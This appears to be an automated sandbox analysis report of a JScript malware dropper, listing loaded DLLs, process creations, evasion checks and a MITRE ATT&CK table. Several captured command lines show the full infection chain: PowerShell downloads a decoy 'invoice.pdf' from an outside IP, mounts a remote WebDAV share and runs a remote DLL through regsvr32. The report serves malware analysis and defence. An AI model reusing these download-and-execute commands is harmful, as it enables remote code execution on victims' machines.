Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4350.js.csv");ITextStream.WriteLine(" entry:8703 f:rixxucgcd");ITextStream.WriteLine(" exec:2 f:rixxucgcd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49795

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4469			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5381			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5268	Thread sleep count: 4469 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5268	Thread sleep count: 5381 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3656	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 528	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2354047342.0000019639D89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3582165731.0000024C1BE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3584262062.0000024C2145A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2354047342.0000019639D28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: net.exe, 00000007.00000002.2354047342.0000019639D89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
